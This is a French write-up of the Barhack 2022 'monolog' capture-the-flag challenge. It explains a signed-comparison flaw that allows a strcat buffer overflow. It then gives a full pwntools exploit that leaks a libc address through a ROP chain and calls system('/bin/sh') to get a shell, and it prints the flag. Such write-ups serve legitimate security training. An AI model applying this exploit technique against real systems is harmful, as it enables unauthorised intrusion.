Barhack 2022 - Write Up Reverse - Monolog

Bdenneu

Ingénieur Sécurité

29.01.2025

Voici le write up du challenge de reverse monolog de la Barhack2022.

Le challenge

Voici le write up du challenge de reverse monolog de la Barhack2022.

On nous a passé un exécutable linux 32 bits, ainsi qu’une IP et un port sur lequel ce dernier tourne. Une libc nous est aussi passée (libc-2.31.so).

Lorsque l’on s’y connecte, il nous demande un nombre pour savoir combien d’entrées utilisateur prendre, puis l’écrit.

Fonctionnement normal

Premiers pas

La fonction main lance directement la fonction monolog:

Fonction main

On remarque par ailleurs l’utilisation de strcat qui est connue pour permettre des buffer overflow:

Man de strcat

Reverse

Dans la fonction monolog, le programme va demander un nombre, et le comparer à 10. Si le nombre est supérieur, il s’arrête.

demande d’un nombre

Ensuite, il va demander un bloc de 100 caractères et le concaténer à un buffer à ebp-0x3f4 tant qu’un compteur interne n’atteint pas la valeur indiquée au dessus:

Entrée utilisateur

strcat dangereux

Si la ligne stop est envoyée, le programme quitte la boucle, affiche la chaine qui a été concaténée (ebp-0x3f4) et s’arrête:

comparaison avec stop

arrêt du programme

Exploitation

Dans la comparaison si dessus, on remarque qu’il y a la comparaison entre 10 et le nombre que l’on rentre. Cependant, il n’y a pas vérification sur le signe lors de la comparaison: Si le nombre est négatif (par exemple, -1), il va passer le test d’infériorité et on pourra envoyer 4294967295 blocs de taille 100 et donc overflow avec le strcat.

En terme de protection, il y a

  • ASLR
  • Partial RELRO
  • Pas de canary
  • NX
  • No PIE
checksec

Pour exploiter le code, on va envoyer -1 pour passer la comparaison, et réécrire l’adresse de retour, puis envoyer une ROP. Il faudra envoyer 1016 éléments dans le buffer (0x3f4 + 4 pour réecrire l’adresse de retour qui est juste après ebp dans la pile).
Ici, j’ai choisi de leak une adresse de la libc, et d’appeler system(‘/bin/sh’).

Voici le code d’exploitation:

from pwn import *

r = remote('monolog.brb',1302)
r.recvline()

puts = 0x08049090       //adresse de puts pour afficher les adresses
main = 0x080491d2       //adresse de retour
reloc_puts = 0x0804c024 //adresse de puts dans la GOT

r.sendline(b'-1') //Pour passer la comparaison la comparaison
r.recvline()

offset = 1016 //0x3f4 + 4 = 1016
for i in range(offset//0x64):
    r.send(b'A'*0x64) //Remplissage du buffer
    r.recvline()

//Leak d'une fonction de la libc pour retirer l'aslr

payload = p32(puts)+p32(main)+p32(reloc_puts) //puts(reloc_puts), main()
r.sendline(b'A'*(offset%0x64)+payload)
r.sendline(b'stop')
leaked_puts = int.from_bytes(r.recvrepeat(0.1).split(b'\n\n')[2][:4], 'little') //Récupération de l'adresse de puts dans la libc
libc_puts = 0x00070460   //adresse de puts dans la libc
libc_system = 0x00045040 //adresse de system dans la libc
libc_bin_sh = 0x0018c338 //adresse de /bin/sh dans la libc
libc_start = leaked_puts-libc_puts //Calcul de l'adresse de début de la libc

r.sendline(b'-1') //Pour passer la comparaison la comparaison
r.recvline()

offset = 1016
for i in range(offset//0x64):
    r.send(b'A'*0x64)
    r.recvline()

//Ret2libc

payload = p32(libc_start+libc_system)+p32(main)+p32(libc_start+libc_bin_sh) //system('/bin/sh'), main()
r.sendline(b'A'*(offset%0x64)+payload)
r.sendline(b'stop')
r.interactive()

On obtient alors un shell.

En local:

shell

Flag

brb{b3_c4r3ful_w17h_516n3d_1n7}

Que savent les hackers sur votre entreprise ?
Faire le test